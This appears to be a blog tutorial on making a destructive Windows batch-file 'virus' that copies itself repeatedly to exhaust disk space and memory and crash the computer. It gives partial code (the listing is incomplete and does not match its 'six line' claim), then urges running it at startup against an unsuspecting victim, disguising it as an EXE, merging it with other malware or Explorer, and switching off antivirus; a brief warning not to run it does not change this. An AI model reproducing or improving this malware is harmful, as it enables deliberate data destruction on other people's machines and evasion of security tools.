A batch file may also have constructs (IF, GOTO, Labels, CALL, etc.) that enable conditional branching and looping within the batch file.
Batch files usually have extensions : *.bat .They can be easily created in any Text Editor like Notepad, Notepad++.
In this Article we are going to create a Virus that would be Probably one of the Deadliest one.It would be of 6 line.
This 6-line piece of code is so devastating, it can bring down a Computer in a few seconds only.
1)@echo off--->This Command Stops the Batch file from Showing the Commands that are being Carried Out.It Means that the Command Prompt Window will not show the Commands which will be Followed when we Execute our Program.
2)start --->This Command is used to Start an Program.
3): --->This ' : ' allows us to setup a Label in the Code.
4)set --->This Command is used to Define and Initialize a Variable.
5)goto --->This Command is used to make the pointer move from one Label to Another,within the Same Program.
Follow the Below Steps to Overload System Memory ::
1)Open Notepad or any Text Editor Like Notepad ++.I will Recommend using Notepad ++.
For 32Bit System -----> Notepad ++
For 64Bit System -----> Notepad ++
2)Write the Below Code in the Notepad ++.
SET /a z=%RANDOM%%%1999999999%
type damage.bat >> %z%.bat
Step 3 :Save the File as Bat file.Like damage.bat .
Understanding What the Code Does ::
This batch file creates another batch file in the same directory, then copies itself into each of these newly created files. These files are then started up. Of course, they are identical so both of them start up again and repeat the process until the computer runs out of memory and crashes.
What this will do, if you leave it on long enough (about a couple minutes), is it will create so many copies of itself on the hard drive that all the empty space has been filled with these bats. Also it will use up all the computer’s RAM as it is being told to run an ever-increasing number of the same processes, which over time gets too much for it to handle.
Depending on what runs out first hard disk space or RAM, the batch file may or may not cause permanent damage. In both cases, however, the computer will almost definitely crash, the operating system may be corrupted and on the next start up, you will be greeted by the well-known “Blue Screen Of Death”. The only way to get rid of it will be to format your hard drive and re-install the operating system.
Further, we can have this beautiful file executed at startup, as a surprise for the unfortunate user who will happen to start the computer the next time.
Further you can Convert this Bat File into an EXE file by Reading Our Post How to Create Self-Extracting files that Automatically Run the Setup Program that is Contained Inside .So that Nobody Could Guess What our Trick is.And Also you can Merge it with Other Programs or Malware.And if You want to Destroy it Completely then Merge this Bat file with Explorer of Victims System.
NOTE:: This Article is very dangerous and for your own Sake should never be Actually Performed. On execution, the computer will stop responding immediately and if the plug is not pulled off within 4-5 seconds (the program cannot be stopped after starting), there is a possibility of complete data loss and corruption of the hard drive.
Precautions :: Shutdown your Antivirus Protections for Some time until you make and Save the Code.